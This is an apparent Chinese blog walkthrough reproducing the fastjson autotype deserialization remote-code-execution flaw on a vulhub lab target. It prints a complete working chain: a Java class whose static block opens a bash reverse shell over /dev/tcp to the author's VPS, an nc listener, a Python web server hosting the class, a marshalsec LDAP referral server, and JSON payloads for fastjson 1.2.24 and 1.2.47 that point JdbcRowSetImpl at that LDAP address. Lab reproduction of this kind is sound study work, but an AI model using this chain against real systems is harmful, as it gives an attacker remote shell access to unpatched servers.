fastjson反序列化漏洞复现

fastjson反序列化漏洞复现

详细描述

fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

复现环境

42.xx.xx.158   靶机ip
27.xx.xx.220   vps          java版本1.8.0_261
win10          burp抓包执行poc 

漏洞复现

1、靶机环境安装

//42.xx.xx.158下载vulhub环境
git clone https://github.com/vulhub/vulhub.git
image.png

2、靶机环境部署过程

//进入fastjson漏洞环境目录
ls
cd vulhub/
cd fastjson/
cd 1.2.47-rce/
image.png

3、靶机生成docker环境

//进入漏洞环境目录下执行,修改默认端口
如果没有此需求,请忽略
vim docker-compose.yml
//下图为示例
image.png
//进入fastjson漏洞环境目录下执行,默认端口为8090
docker-compose up -d
docker ps
image.png

4、靶机环境搭建成功

//访问靶机
http://42.xx.xx.158:8090/
image.png

5、vps下载marshalsec

地址:https://github.com/mbechler/marshalsec
//进入marshalsec-master目录
cd /tmp/marshalsec-master/
//使用maven编译jar包
mvn clean package -DskipTests
image.png

6、vps marshalsec编译成功


image.png

7、成功生成marshalsec-0.0.3-SNAPSHOT-all.jar


image.png

8、vps监听端口

 nc -lvvp 6666
image.png

9、EXP源代码,保存为test.java

// bash -i >& /dev/tcp/27.xx.xx.220/6666 0>&1    这里的ip是vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/27.xx.xx.220/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

10、javac编译生成test.class文件

javac test.java
image.png

11、把test.class复制到/root目录下


image.png

12、使用python搭建一个临时的web服务

python2 -m SimpleHTTPServer 8445
image.png

13、访问http://27.xx.xx.220:8445/

image.png

14、vps启动LDAP服务,监听1389端口,并制定加载远程类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://27.xx.xx.220:8445/#test" 1389
image.png

15、fastjson反序列化漏洞poc

// ldap://27.xx.xx.220:1389/test   vpsip,LDAP监听端口1389,test恶意test.class
// 1.2.24版本poc
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://27.xx.xx.220:1389/test",
        "autoCommit":true
    }
}

// 1.2.47版本poc
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://27.xx.xx.220:1389/test",
        "autoCommit":true
    }
}

16、burp抓包执行poc


image.png

17、反弹成功,获取靶机docker


image.png

仅供学习使用!!

你可能感兴趣的:(fastjson反序列化漏洞复现)